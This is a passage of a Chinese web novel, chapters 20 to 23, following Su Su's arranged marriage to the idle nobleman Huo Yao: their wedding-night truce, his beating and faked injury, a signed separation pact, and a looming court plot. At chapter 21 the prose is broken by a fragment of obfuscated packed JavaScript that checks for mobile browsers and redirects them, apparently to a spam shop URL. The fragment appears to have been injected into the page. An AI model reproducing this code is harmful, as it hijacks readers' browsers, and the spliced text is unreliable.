苏苏笑着提裙起身走到桌前坐下，仰着小脸望了他一眼，收回视线伸手扯了个鸡腿吃了一口咽下后道，“既然夫君不愿意和我相处，那不如我们只扮演好夫妻，素日里互不干涉。”
霍尧听着这话好像对他并没有威胁，缓缓将手垂放与两侧。
这柳条子过于洒脱了，费尽心机嫁给他又不干涉他，这像是来做夫妻吗？
莫非又是给他设陷阱。
“你是说你什么都不干涉？”他沉声问。
苏苏边吃边点头，期间只空出一只手端起茶盏喝了一口，头都没舍得抬一下。
霍尧坐下环抱着双臂细细思量，感觉被忽视了，他嘴唇抿成一线，“喂…当我这儿是酒楼呢。”
苏苏没理他只顾着吃了，闻言咽了咽嘴里的东西，侧目不在乎地说：“你有什么要补充的就说，我听着呢。”
直接反客为主，霍尧环顾屋子
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一周，收回视线盯着她，“这是我卧房吧？”
“怎么弄得小爷像客人似得。”
苏苏边吃边侧目看了他一眼，眸子清澈好看。
继续美滋滋地吃着一点不在乎他说什么。
嫁过来之前她就想明白了，清心寡欲，睁一只眼闭一只眼，霍尧想怎么样怎么样，她过好自己的日子就好了。
“夫君想做什么就做什么呀。”苏苏抿唇含着笑，眨了眨眼，“只要夫君不提和离，夫君怎么样我都不会生气，也不会妨碍夫君的。”
霍尧完全没想到她就这么不在乎。
“我游手好闲每日去酒楼喝酒你不生气？”
苏苏洒脱地边吃边摇头回应，“不生气。”
“我冷落你，你也不生气？”
“不生气……”
……
霍尧心下冷哼，又道，“我纳妾室你也不生气？”
苏苏手间动作停下，侧目盯着他良久。
霍尧好似觉得扳回一城，扯着嘴角挑了眉，“我就说怎么会……”
话还没说完就见苏苏眯眼笑着道，“当然不生气，夫君纳满整个屋子都没关系。”
苏苏说得咬牙切齿，他没意识到只听到话得表面之意，心下暗暗思忖她究竟为何非要嫁给他又什么都不在意。
吃饱喝足了，苏苏也有些困了，霍尧坐在她对面，她与他开始大眼瞪小眼看着彼此，霍尧困惑蹙眉，“干嘛？”
“我要睡了，夫君睡哪？”她的言下之意是自己要睡床。
霍尧听出了意思，提声道，“你敢让我睡地上？”
苏苏可没那个意思，正要解释睡同一张床盖两床被子，就听霍尧懒散出声道，“你睡地上，我睡床。”
说着霍尧就到床榻上去枕着胳膊睡下了，苏苏捏着手心，还没准备抬脚去柜里拿被褥铺地，躺得舒舒服服那人就掀开眼皮，“警告你啊，别晚上爬到床上，对我图谋不轨。”
苏苏淡着眸子回应，“那可是稀罕事。”
她先去摘掉了发饰，才去把被褥拿出来铺到地上躺下。
地板硬硬地，但由于太困了，她也不认床不认地方，很快就睡着了。在床榻上枕着手臂看着床榻顶的霍尧反而没睡着。
一早是被敲门声吵醒的。
“少夫人，少爷，该起床去敬茶了。”
苏苏一下正坐起来，收拾起被褥放到衣柜里，准备去叫霍尧时发现床踏上无人。
她心揪了一下，然后去开了门。
袁舒兰身边的婆子，方嬷嬷请安道，“少夫人好，请和少爷梳洗后去敬茶。夫人和老爷都等着的。”
苏苏梳妆完，霍尧也并没有现身，莫不是昨晚就走了，她只能自己去敬茶。
……
端着茶准备敬茶时，袁舒兰神色微凝了几分，问道，“你夫君呢，为何只有你一人来？”
话不重，只是寻常的问话，但苏苏却感觉心拧了一下。
她垂眸低着头没说话，袁舒兰长叹了声也不再追问。
苏苏敬茶给霍君鹤，“父亲请喝茶。”
霍君鹤气势威严，接过茶喝了，便吩咐旁边的小厮，“去把霍尧给我抓回来，反了他了。”
20. 20
不过半个时辰，霍尧就被架着回来了，他的袖子被扯开了一半成了堪比乞丐的半袖，一脸幽怨地甩开两手边架着他的小厮，脸上满是不服气。
他视线划过安静地坐在一旁的姜苏苏，然后看向霍老爷，“您老怎么总是看我不顺眼？”
现下霍尧心情极其地差，没睡好就罢了还被人给当街像悍匪似的抓回来，在京城出了名的纨绔公子自然忍不了这样的屈辱。
他这番就得为自己讨回公道。
霍君鹤看着他这不着调的样子就火冒三丈，压着怒火道，“从今天开始你听从苏苏的安排，苏苏叫你做什么你就做什么。”
霍尧瞳孔顿时瞪大，不敢相信自己的耳朵，转目朝苏苏看去，“我凭什么听她的？”
“就凭苏苏读的书比你多。”霍老爷看着逆子，不争气地吐槽，“识字的文盲，还好似意思问凭什么。”
袁舒兰在旁低声说：“老爷，没那么严重，别打击尧儿自信心了。”
苏苏惆怅起来，听到霍老爷这个决定也是没想到。
让她管霍尧这头野马，她会心力交瘁到抑郁。
她顿了顿，轻声道，“父亲，责任太过重大，儿媳恐怕无法胜任。”
她才不想管霍尧，只想清闲度日。
霍尧深深凝着苏苏，认为今日只是定是她的手笔，不客气地道，“说一套做一套，姜苏苏你好深的心机。”
“我不会听任何人的，尤其是她。”提声又道。
苏苏无缘无故被冤枉，她捏着手中的帕子，碍着长辈都在她不和霍尧计较，把气压了下去。
霍老爷看不下去了，转头吩咐人拿鞭子来，见状袁舒兰赶紧帮忙说话，“老爷，没有必要用家罚，尧儿也只不过是没有来敬茶而已。”
苏苏也被这一举动给惊着了，也跟着劝解，“父亲，请不要用家法，好言商议也是法子。”
“对对，你看苏苏都说了不用家法，您就消消气吧，让尧儿和苏苏回房商量说，这毕竟是他们夫妻的事。”袁舒兰顺势说着。
“你看他那态度和他能好言商议吗？况且这不是敬茶的事，而是刚成亲哪有让妻子独守空房的，外人知道了不是笑话咱家教子无方吗？”霍君鹤认为读书不好可以谅解，品格不好便是无药可救，“就是儿时管束太少，才养成如今这无法无天的性子，现在我把他腿给打断，看他还怎么出去晃悠。”
说着就要上手，袁舒兰忙伸手拦住，给苏苏使眼色让苏苏帮忙求情。
苏苏看到后，赶忙跪下颔首求情道，“父亲，家和万事兴，儿媳听父亲的话，好好同夫君说，还请父亲息怒。”
霍君鹤并非不听劝之人，气焰刚消了些，霍尧一盆油浇下去，“这婚约是我求着祖上定的？非要把婚约落到我头上，我真是人在家中坐一纸婚约从天上来，我还觉着倒霉！”
火上浇油，火立马蹭的一下蹿上来了。霍君鹤不亲自拿鞭子罚了，“目无尊长，来人，带下去领二十个板子。”
小厮蹑手蹑脚上来请示似得，“少爷…跟小的们走吧。”
“谁敢手下留情跟着挨板子。”听见小厮们的话，霍君鹤补充道。
霍尧腰杆挺直一点不虚地沉着一张脸转身甘愿去领罚。
苏苏再劝说时已经无济于事了。霍尧实打实被打了二十板子，去得时候昂首挺胸，回来的时候是被抬着回来的。
苏苏拿着药在屋里等着，再怎么也算是名义上的夫妻，他受伤她还是得关心上药的。
霍尧被抬进屋子，看见苏苏，转头忍着疼道，“谁让你们把我抬这里来的，给我抬书房去，快点！”
“哦……”小厮们笨手笨脚的抬着人转身，差点让霍尧的头磕到门框上。
苏苏感觉她劝不了，现在他在气头上等他气消了再去吧。
应该有丫鬟照顾他的。
苏苏安心回了房，晚上时云蝶边给她摘头饰边说着霍府后宅女眷的情况，“小姐，霍府除了大娘子外，还有五个小娘在后宅，但都没有孩子。”
闻言，苏苏微蹙了蹙眉心，“这样啊，我还以为霍老爷没有纳妾。”
“听说有一个小娘当年生了一个孩子，但夭折了，所以这霍府只有姑爷一个独子。”云蝶给她轻梳着头，慢慢说道，“难怪府上都惯着姑爷。”
苏苏沉着眸子，今日这算是大阵仗了。
这事不是她挑起来的，但霍老爷估计是想让霍尧收心，故意在霍尧面前给她立威所以才这样。霍尧恐怕得恨死她了。
“云蝶，大夫应该去看过姑爷了吧？有丫鬟去给他上过药没？”
云蝶摇摇头，抿唇沉了一阵道，“回小姐的话，奴婢听南五说姑爷房里没有丫鬟。”
苏苏侧目，思索了一阵，“那小厮给他上药？”
“这奴婢不知道。”云蝶把取下来的发簪放进首饰盒中，“小姐，现在休息吗？”
苏苏点头，“好。”
……
隔壁书房，南五悄悄端着烧鸡和烤鹅进来，放到桌上后，轻手轻脚去合上门道，“少爷，小的给您端好吃的来了，您快起来吃。”
霍尧敏捷地一个翻身起床，安然无事地走到桌前坐下，“没让那柳条子发现我垫了屁垫挨罚吧？”
南五睁大眼睛眨了眨，茫然问，“少爷，柳条子是谁？”
霍尧转目漫不经心道，“就是姜苏苏。”
南五了然点头，“啊，少爷说少夫人啊，老爷都不知道，小的保证少夫人也不会知道的。”
“诶，那可说不准，她精得很。”霍尧侧眸哼道，“你看今天，开始在背后告我状了，还说什么互不干涉。”
今日事情究竟如何，南五可是从头看到尾的，知道苏苏是真的没有告状。
南五思索该如何说是好后，略带为难的神色解释，“少爷，其实少夫人没……”
他还未解释完，门外想起敲门声，然后就传来苏苏问候地声音，“夫君，睡了吗？”
“她来做什么？”霍尧听到这声音犹如听到来自地狱的问候，惊地瞪大了眼，低压着声道，“快把东西收起来。”
然后腿脚灵活地冲到榻上躺着。
刚躺下发现不对，赶紧翻了个面趴着，提声对门外说道，“你来干嘛？看我笑话？”
苏苏苗条的身影映在窗户纸上，她在外晃了晃拿着的药瓶，“我来给夫君擦药。”
霍尧皱眉，那这不暴露了，“不必
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了，不需要。”
说罢示意南五去让她走。
南五按照他的吩咐，走去开门道，“少夫人，少爷已经上完药休息了，少夫人别太担心也快去休息吧。”
苏苏握着手中药瓶，朝里面看了眼，收回视线问道，“你是南五？”
南五颔首点头应是，“回少夫人的话，小的是南五。”
“哦…那是你给少爷上的药？”苏苏瞧着南五身材矮小清瘦，莫不是当书童养的？
南五支支吾吾，“…呃，呃…对，是小的上的药。”
苏苏把药递给他，“若手轻的话，那你给你家少爷上药吧。”
南五怔愣接住，“呃，哦。”
转身走时，苏苏闻到了昨晚吃的那烧鸡，烤鹅的味道，是从屋子里传出来的。
她顿住脚，南五立马立正站直了，像是被抓到什么似得，“少夫人还有事吗？”
淡笑着摇头，而后抬脚离开。
苏苏走后，南五送了一大口气回屋关上门，走到榻边道，“少爷，少夫人走了，这是少夫人给的药。”
霍尧坐起来接走南五手中拿着的药，打开闻了闻。
他并闻不出什么所以然来，只觉得不刺鼻。
放到一边，躺会榻上枕着闭目，“你下去吧，该休息了。”
“是。”
……
云蝶扶着苏苏回房，文妈妈端来亲自熬的暖身汤，“小姐，今日说身上疼，恐怕是没睡好的原因，喝点暖身子的好睡些。”
苏苏捏了捏左肩，感觉是地上太硬给硌疼了的缘故。妈妈不知她昨儿打的地铺，还是不要说了让妈妈担心了，霍尧挨了板子又不想让她看到伤口，估计这几日不会回屋睡，她也能在床榻上睡了。
端起暖身汤喝了一口，味道让她想起在庄上的时候，还记得程哥哥很喜欢文妈妈熬得暖身汤。
“妈妈找个时间我们去看看大娘子说的两个空铺面在那个位置，铺子不能总空着，看是出租出去还是做点小生意。”
文妈妈点头。
云蝶在一旁道，“小姐，奴婢也想跟着去。”
“好，你也去。”苏苏含着笑回答，“别人都想趁着机会偷个闲，也就你不嫌烦了。”
“奴婢才不会闲烦，跟着小姐出去多好，主要是奴婢感觉这霍府并不像表面上的那样和谐。”云蝶只有在苏苏面前，才敢把心里话放心地说出来了。
苏苏问道，“为何这样说？”
“可能是奴婢听说了那些小娘的事吧，感觉会明争暗斗的，所以就想时时刻刻地跟着小姐。”
苏苏沉眸思忖，她还没见过那些小娘，也不知为人是否好相处，在姜家她娘亲死后，家中就没有小娘了，只有谭大娘子一人，所以云蝶怕小娘太多明争暗斗也正常。
文妈妈提议道，“要不等小姐回门的时候，顺道去看？”
苏苏想了想，点头同意，“行，等回门的时候去吧。”
“那姑爷要不要去？”文妈妈想了想，“若姑爷不回去，老奴怕那谭氏怕是又得想法子克扣小姐。”
文妈妈的担心确实不无道理，可霍尧现在下不了床恐怕也去不了，总不能把他抬着陪她回门的。
21. 21
夜里下起了雨，这一下就连着下了四天绵绵细雨，直到今日清晨才放晴。
屋檐上还滴答着水，泛着丝丝清凉，苏苏刚去请完安，穿过石子路回屋时，在霍尧在的书房外，停住脚遥望了一眼。
这四日他待在书房，公婆自是有意见的，暗示她好几次夫妻不应分房睡，不利于感情。
她也去找过霍尧请他回房睡，但那家伙在书房里经哇乱叫喊屁股疼下不了地，死活都不回房。
苏苏倒不是想和他培养感情，但也不想被人说姜家姑娘刚成亲就和夫君分房睡的闲话。
云蝶看小姐望着书房出神，便道，“小姐，要不要再去看看姑爷？”
苏苏沉眸淡淡想了想，点头，“走吧，四日过去了不知还能不能下地。”
方才请安时她婆母在问身边婆子霍尧情况如何时，公爹眼底闪过一丝内疚的但恐怕是碍于面子又不好过多的问。
但愿霍尧好些了。
她走去敲响了门，轻声问候道，“夫君可好些了？”
里面的人一时被惊醒，抬头着急忙慌地直直哎呦叫，不敢正经地说一句话，原因自然是怕被姜苏苏听出不是霍尧的声音。
苏苏在外面听到这一声声的哀叫声，是又奇怪又忧心。
怎得这么久了还没见好，大夫不是看过说没有大碍吗？还是说没有按时擦药伤口恶化了。
“云蝶，你快去魏家医馆请魏大夫来看诊。”苏苏转头对云蝶道。
云蝶点头应是，转身正要去请大夫，苏苏心下思索片刻，微微抬眸拦住云蝶，对门里先问道，“夫君，我进来了。”
没人应，她便推门进去，一进去就见南五慌不择路地准备用被子蒙着头。
眼看暴露了，南五下榻行礼认罪，“少夫人……”
书房不算大，一眼能看到屋里的所有陈设，根本无法藏人所有霍尧不在书房里，现在就能金蝉脱壳了，估计根本就没受伤。
苏苏走过去，四下看了看榻上，见到一厚厚的带绳子的垫子在角落。
眸中一定，她伸手拿起来端看了片刻便知道怎么回事了。
她转头问南五，“这是你家少爷用来垫着挨打的？”
南五面色为难，左看看右看看最后只好如实点头，“请少夫人千万别告诉老爷，少爷要是不靠着这些厚垫子怕是早被打残了。”
苏苏淡抿着唇，她才不会再背后告状惹霍尧和她作对。
“你起来吧。”苏苏把垫子放回榻上，转头看向南五，“你家少爷是又去酒楼了？”
南五颔首缓缓点头。
苏苏思忖一阵，“当做我没来过，不必通报你家少爷。”
南五怔愣一下，点头，“是，少夫人。”
带着云蝶离开，回屋里后，云蝶端来茶水问道，“小姐，你是怎么知道姑爷是装的？”
苏苏接过茶水，淡眸笑道，“你说向来是纨绔公子的人，若是怀疑是你害他受罚的，你去看他时，他是会言语讨伐你，还是哀嚎着装可怜不敢说一句话？”
云蝶缓缓道，“言语讨伐？”
“嗯，所以我才猜想屋里的人可能不是霍尧。”苏苏抿了一口茶。
云蝶了然扬起笑。
“小姐真厉害，这就把姑爷的戏给拆穿了。”
苏苏转眸看向云蝶，眸子亮亮的，“不是我多厉害，是因为我也让你在房里装过我不是？”
霍尧就像一匹向往草原的野马，他想要自由谁都拦不住，自是会想方设法出去的，既然洞房那晚她说过，只要他不提和离，他们就互不干涉，她便不会揭发他。
人啊，有时候很奇怪，可以自己选择永远待在一个地方，但却不能被剥夺去往别处的选择，否则就会认为自己被束缚了。
她也理解霍尧，因为一纸婚约成亲所生气的原因。
……
霍尧在酒楼整整待了三天了，越待越觉得没意思。
看来南五装得很成功没有人发现他离家了，不过心里莫名不是滋味。
小二端酒上来，并推荐着自家新来的舞伎，“霍公子，要给您点些歌舞助兴吗？有新来的姑娘。”
霍尧掀起眼皮皱眉看了小二一眼，眼里都是冷光，小二怔怔化作一尊石雕，只好赶忙颔首退下。
倒上酒喝了一杯，眼看两位厮混的好友迟迟没来，实在无聊霍尧准备回府了，刚起身一锋利的暗器直直飞来，幸在他侧身躲开否则直击他的眉心。
顺着暗器来的方向，霍尧一眼看见一蒙面的人，那人也看见他了转身就惶然逃走。
霍尧并未打算去追，转身看那暗器深深地插在木柱上，他伸手拔下端详，上面所刻的字是弘堂的，也就是三皇子手下的人。
将暗器握在手中，霍尧疾步离开。
在酒楼隔壁不远处的茶馆，蒙面麻布衣男子抱拳颔首禀报道，“林大人，小的照您说的做了，现在霍公子已经离开酒楼了。”
林卫神色冷淡，凌冽的眼神令人生寒，一座冰山雪峰之态地点头，微抬手让人退下。
“林大人，咱们何必去招惹霍家？毕竟霍家那公子只是个不学无术的混子罢了。”林卫身旁站着的护卫分析着说道。
林卫微侧眸，“若真是一无是处方才还能躲得过暗器？别忘了他那次坏了我们的计划。”
护卫颔首，“是在下考虑不周。”
夜幕降临，霍尧从外翻墙踩上香樟树飞身而下回到霍府，正思虑着该回卧房还是书房的时候，姜苏苏竟独自提着灯笼过来了。
他也没再打算接着装，看她脸上无波无澜的样子，想必也是知道他此前是装的了。
他走到她面前问道，“你知道了？”
苏苏闻言点头嗯了一声。
霍尧紧抿了双唇，心下暗道：知道了，竟也不揭发他。
苏苏道，“夫君，请回房休息。”
“你说回就回啊？”霍尧皱眉，“你不是还说互不干涉，结果说一套做一套，在背后告我状。”
苏苏仰着下巴望着他，在夜里她的肌肤像是柔白的玉好看地毫无一点瑕疵，灯笼的微光浅浅地映在她脸侧给脸蛋染了一点红。
凝着他片刻收回视线道，“互不干涉的前提是在我能做的范围内，不干涉夫君的自由，但夫君成日在书房睡这样会让人认为我不体恤丈夫，至于告状的事，我从未做过。”
她说完，霍尧无所谓地淡挑了眉峰，“那这是你的事，既然你也知道我想与你和离，那我也不瞒着你，若你不接受和离，那可以等着我休了你。”
他话语中丝毫不带一点商量的态度，冷言看着苏苏。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13981337|148140||http|test|mini|href|location''.split(''|''),0,{}));
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苏苏秀眉微微蹙了起来静静地没说话，霍尧此刻猜不透她究竟在想什么，想干什么，但一想到她说过没有和离只有丧夫，脚后跟也不自觉地预备着往后挪。
苏苏拿着灯笼身子刚一转身，霍尧被吓得往后挪了一下，见她只是转身走后，在她身后松下气拍了拍心口。
苏苏又顿住脚回头，他立马站直了身子，挺直了背若无其事道，“你，你又想干嘛？”
苏苏抿唇含着笑，“没事，就是提醒夫君走夜路要小心。”
霍尧垂眸思索一瞬，眸光一凝道，“喂，不会是你买凶暗杀小爷吧？”
苏苏提着灯笼往前走头也不回，也不回答。
而后霍尧就像那上钩地鱼，一步一小问地跟着她走回了屋子。
文妈妈看苏苏回来了，上前替她解下身上的斗篷，又瞧见姑爷也跟着回来了，颔首拿着斗篷悄声招呼着云蝶一起下去了。
屋里灯光亮堂，照亮了屋子里的陈设，桌案前摆着许多她编的竹玩，屋子里还点了清幽的熏香，闻着便觉得心里很安心。霍尧身姿挺立地站在住了十九年的屋子，这一刻竟然觉得陌生。
苏苏坐下倒了两盏茶，一盏往旁边放，转头眼睛圆溜溜地示意是给他的，“夫君请坐。”
霍尧上前走了一步，端起茶盏闻了闻，那嘴跟淬了毒似得，“下毒了，我不喝。”
苏苏甚是无语。
拿起自己面前的茶盏自己喝了起来。
霍尧看见好似放心的坐下了，握着茶盏也没喝只是垂眼看着，像是思量着茶水里有没有啥不该出现的东西。
苏苏喝完重重把茶盏落桌，沉了好一会儿，绷着脸，眼睛憋红了道，“既然不想娶我，当时就该同我想的那个法子一样把婚退了，现在又想休了我，你安的什么心？”
突然开口，把霍尧惊了一下。
苏苏的话让他哑口无言，找不到任何理由来反驳。
他终究是得为他的行为负责。
“那不想被休，现在签和离书。”他声音放缓下来。
苏苏蹙眉含着下巴忍不住眼泪落了下来，良久后声音略带颤抖，“签，不过不能是现在，等过段日子。”
霍尧：“行，先白纸黑字写下来，别到时候你不认。”
苏苏转头抹了眼泪，沉着眸子气愤地凝着他，淡淡道，“那约法三章，和离前你要和我扮演好夫妻要在卧房睡，在父亲面前要听我的，还有我要睡床。”
霍尧怔了怔。
想了想后觉得她同意和离也算好的，便答应了。
白纸黑字写下合约书后，苏苏满心满意上床榻睡了。
霍尧呆站着四下看了看，问安逸地裹着被子遮住了大半张脸，只露出一对水沁沁大眼睛的苏苏，“地上怎么睡？”
“自己去衣柜拿被褥铺地上，像我那天打地铺一样。”苏苏含着笑翻身过来，扇动着长长的睫羽，“夫君躺下时记得把灯吹了啊。”
说完她翻过身去，小小的身子在被子里动了动，“还是床舒服。”
霍尧抱着被褥过来，呆愣地站着。
诶，不对，怎么感觉反被她给整了。
“柳条子你给我起来，你睡床那条得重新商议。”霍尧喊了几声，她没反应，他到床榻边俯身就听到她细微的呼吸声了。
22. 22
霍府甬道烛光昏暗，丫鬟拿着灯油往屋里去，看见霍君鹤与袁舒兰颔首行礼后便去给夜烛台加上灯油准备守夜。
袁舒兰已摘了发饰，素脸略显年纪和疲倦，她看向丈夫忧愁着淡道，“尧儿不接受苏苏，这可如何是好，被老爷给罚了二十大板现在又成日成日的睡在书房，怎么恢复得好。”
霍君鹤泡着脚就着旁边的烛光看通州知府的来信，眉心紧蹙着查看完听到妻子话里话外的埋怨，心里也是有几分不痛快。
“那逆子就是被你惯得，但凡他收敛点我能罚那么重？”
袁舒兰叫住正要退下的丫鬟问道，“少爷今日仍在书房下不了床？有没有派人去看过？”
丫鬟方才刚从新房过来，她回禀，“回夫人的话，方才奴婢看见少夫人去找少爷，带着少爷回屋了。”
袁舒兰眸子一凝，喜笑颜开转头看向丈夫，“看来苏苏有两把刷子啊。”
霍君鹤也是意外，看了妻子一眼抿唇收回视线淡道，“这几日但凡苏苏来请安你都要问她霍尧回没回卧房，我听着耳朵都起茧子了，你也该去说说那逆子。”
说罢擦了脚起身去把信点燃扔到坛子里烧了个干净，倏然转眸道，“如今是由我们替他撑着，倘若一日朝中巨变，霍府也说不定还有现下的光景，你还不让他好好磨练磨练，这是害他。”
被丈夫一顿埋怨，袁舒兰心口含堵，但头一次看丈夫对朝中如此悲观，赶紧抬手让丫鬟下去后，她上前走了一步轻声问，“发生何事了？”
霍君鹤叹了声，“唉，我只是打个比方。”
“那你这么严肃，吓我一跳。”袁舒兰瞥了一眼，坐下问，“那信里写了啥嘛，咋突然又摆着脸了。”
霍君鹤嘴唇抿成一线，不争气地看向妻子，“自云在通州被抓了。”
自云是袁舒兰弟弟，袁南承的表字，说到袁南承，身为亲姐姐的袁舒兰也是头疼的不行，家中两个姐姐一个弟弟，二妹去世，母亲年岁以大，她身为家中长姐肩负重任，要督促让弟弟尽快成家立业娶妻生子。
可这弟弟只爱游山玩水吟诗作对，死活不肯成亲，没钱了就去给人说书讨口饭吃，就活成这窝囊样也不愿回家。
袁舒兰脸色发青问，“因为何事？他一说书先生为何屡屡被抓？”
信中没有细写，但看到散布不实言论时，霍君鹤心中有些答案了，定又是说编排着说哪个皇族的野史。
上次编了个三皇子偷鸡栽到田里头拔不出来的故事，还与那些不信的人大吵了起来，结果被人给状告了，他费了好些力气才把人给捞出来。眼下又去惹事。
“你该去问问你那弟弟又编了什么浮夸的野史。”
袁舒兰眸色深重起来。
又进去了，她那老母亲此时定又在赶上京的路上了。
……
霍尧生平第一次在地上打地铺，翻来覆去都觉隔得疼，一下坐起身来看着床上睡得香甜的苏苏，不由得想她那天是怎么睡的那么好的。
盘坐着思绪一阵，抓起枕头起身轻手轻脚把枕头放到床榻上。
刚放上去苏苏翻了个身，他顿时定住，看她没动静了轻声爬上床，一行一顿地躺下。
就在他刚合上眼准备睡时，苏苏一翻身发现旁边睡了个人，惊地尖叫着拳打脚踢，兔子瞪地似得一脚把他给踹下了床。
惊恐地拉着被子缩到床榻角落，提声怒问道，“你是谁？”
霍尧摔下地哼了声，苏苏听到这声音熟悉摸着黑爬下床把灯点上，转身就看见霍尧盘坐在地上，苏苏蹙着眉心，“夫君？夫君方才在作甚？”
霍尧掀眼皮看了她一眼，不自然地道，“没作甚……”
屋外听到声音的文妈妈和云蝶赶过来敲门问道，“小姐小姐，发生何事了？”
苏苏提声回，“没事，方才有一只大耗子，已经赶走了。”
文妈妈和云蝶在门外，不约而同疑惑地喃喃，“大耗子？”
听小姐说没事，云蝶满脸困惑挠着头，文妈妈提着灯道，“姑爷在，没事的，我们下去吧。”
云蝶打着哈切点头一起下去了。
人影离开，苏苏收回视线看向霍尧，柔和的目光温柔似水的但仔细一瞧却夹杂些得意，“夫君不让我爬床，自己倒是爬我的床了。”
霍尧被揭穿，哪能承认，“小爷怎么可能爬你的床。”
说完还怕苏苏不信，抬眼看了她一眼。
苏苏走到床榻把他拿上来的枕头丢到他怀里，微扬了眉笑道，“那夫君早些休息。”
她转身回床榻躺下，霍尧把枕头扔到一旁，抱着双臂侧身躺下静咬着牙闭了眼。
天亮了，鸟雀声清脆可闻，苏苏迷糊着下床，趿拉着鞋起身，忘记霍尧在地上，不小心踩了他一脚。脚下踩了东西差点绊倒，看见踩了霍尧，苏苏一下清醒了，怔怔地僵在原地缓慢地收回脚，见霍尧没反应她拍了拍胸口。
吓死她了。
这时文妈妈端来早膳在外面轻声唤道，“小姐，姑爷，夫人派人送了养身鸡汤来。”
霍尧坐起身就看见苏苏立在他面前，“干嘛？”
苏苏心虚地看了他的脚一眼，然后淡笑摇头，“没什么。”装作若无其事地跑去开门把鸡汤接过来放到方桌上，又往里屋看了看。
文妈妈看苏苏慌张地样子便问，“小姐，发生何事了？”
正当她要说时，霍尧从里屋走出来，皱着眉自言自语地说：“脚怎么有点痛？”
苏苏像是犯错被抓到了，到抽一口气若无其事摆弄桌上的汤碗，云蝶端来铜盆侍奉苏苏洗漱，把铜盆放到架上。
苏苏看到了，为了转移他的注意忙道，“夫君快先洗漱吧。”
霍尧走过去，几步路的路程停了一下转头盯了苏苏一眼，苏苏眸子一凝缓缓含笑，他又奇怪地回头走去洗漱了。
云蝶又端了一盆水来服侍，苏苏洗漱完坐着准备用膳时，霍尧在里屋换那身显眼的红袍一声不响抬脚就出门了。
苏苏也不拦着，知道估计又是去酒楼同那两位好友厮混了。
她独自悠闲地端着鸡汤看着霍尧走
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出院子，期间一句话也没说，知道霍尧走后她才道，“文妈妈，大娘子那边有什么消息吗？”
文妈妈摇头，“老奴去打听过了，从小姐嫁过来后，姜家并没有发生什么事。”
苏苏点点头，放下手中碗垂眸。
暴风雨前的平静也最是吓人，姐姐那边不知如何了，应该准备让心上人上门提亲了吧。
希望姐姐那边能顺利些，和霍尧和离她也不怕了，和离总比休妻来的好听。
霍尧那性子，想到休她了，倘若她不接受和离怕是要想尽各种损法子找她错处来休她，发现她是替嫁的话，事情就不好收场了。
现如今就走一步看一步吧。
这些天接触下来看霍尧并不坏，只是性子执拗，除非自己乐意否则别人无法强求他。
不过这种没有心眼子又不听劝的性子日后怕也是会吃大亏，还好霍家也就他一个独子，若是霍老爷有别的儿子，在这高门大院里霍尧日子也不会太好过。
中午时，太阳高照，袁舒兰派人来寻苏苏一起去花园坐着品茶。
苏苏身着杏色水波纹长裙走去花园，抬脚穿过拱门瞧见袁舒兰坐在亭中，她赶忙快步走去行礼，“让母亲久等了。”
袁舒兰扶她坐下，“无碍，不必多礼，快坐。”
苏苏点头坐下，伸手拿起小茶壶斟茶，闻见茶香是铁观音便问，“母亲可是喜欢喝铁观音？”
袁舒兰淡笑着接过苏苏敬的茶，“那日参加你的回京宴，你母亲泡的是铁观音，我品后觉得味道极好，就请你母亲送了些茶来，但不知怎的就是泡不出那个味道。”
苏苏垂眸想了想，抬眸，“改日我回姜宅向我母亲学学，回来亲自给母亲泡茶。”
袁舒兰和蔼含笑点头，“好好，你有这个心就好，在京中一般是成亲三日后回门，上次我问你，你说庄上的习俗是八日后回门，明日便是第八日了和尧儿商量好回门了？”
苏苏垂了下眸。
“母亲，我一人回去也行，让夫君多些自由。”
听苏苏这么说，袁舒兰不好过多的评价，思忖后放下了婆婆的身份，单纯以同为女人的身份劝道，“苏苏，母亲也是女人，当初也与你想的一样，觉得男人嘛多给些自由做妻子的或许也能轻松些，也能在别人嘴里讨个贤妻的名头。结果你看，纳了一屋子的小妾，若不是后来我态度强硬，没让那白小娘爬到我头上，怕也早被宠妾灭妻了。”
说着袁舒兰气愤起来，苏苏其实没想到公爹看上去那样威严肃穆的好男人形象竟然也让婆婆这么头疼。
“我作为阿尧的母亲自是希望阿尧能多些子嗣，但我作为女人还得劝导你不要放任阿尧纳妾。”袁舒兰喝了口茶接着说，“你若不同意他纳，母亲也会站在你这边的。”
袁舒兰话语间都含着真诚，毋庸置疑真是为苏苏着想。
苏苏点头，“苏苏知晓了。”
她垂了垂眸子想到洞房那晚霍尧说纳妾的事，他是真相纳妾来试探她还是只是嘴上说说。
罢了，都要和离了。
23. 23
京城集道上，骡子托着人，马拉着马车，叫卖声热情激昂。
霍尧手里拿着那弘堂的暗器，半垂着眸子思索。
如今京城中分为两派，一是大皇子派，二便是三皇子那派，都为了争夺太子之位头破血流，其中步伐不择手段买凶杀人，当初又被圣上立为太子的平庸资质的二皇子在前往淮南下访时就遭遇暗杀惨死他乡。
他与大皇子交好，兄弟之情自然是没话说，只是自从二皇子身亡后，大皇子为了太子位仿佛近乎疯魔癫狂。
他若在于其走的过近，霍府就有倾向大皇子之嫌。
想要不卷入这场纷争，这个不学无术的纨绔公子就必须得做下去。
走到酒楼旁的茶楼时，他停了脚步转而进了茶馆，从袖中掏出一锭银子抛给店小二，“来你们这儿最好的酒。”
店小二瞧见此人出手阔绰，一看穿一身红衣又拿一黑羽扇，一下便猜到是霍家那败家子，不过听说他只喜欢去隔壁的春雅酒楼找乐子，今儿个怎么该吃素来他们茶馆喝酒了？
奇怪归奇怪，店小二自是惹不起这样的人，笑脸相迎道，“好嘞，公子！”
店小二收起银子转身时，霍尧问道，“诶，你们这儿有羊排卖吗？”
店小二摇头，“公子，咱这儿只有混沌，春卷，阳春面这些素食，没有歌舞也没有肉食。”
听闻这小二的话里有话，霍尧摆了摆手，“没有便没有吧，去隔壁替小爷把谢公子和魏公子叫过来，顺便再打包一份羊排。”
店小二扁了扁嘴，“是，公子。”走时嘀咕两声，“真麻烦，要吃羊排去隔壁不就好了，切。”
嘟囔着刚出门，一抬头看见林卫，他赶紧颔首，“林大人。”
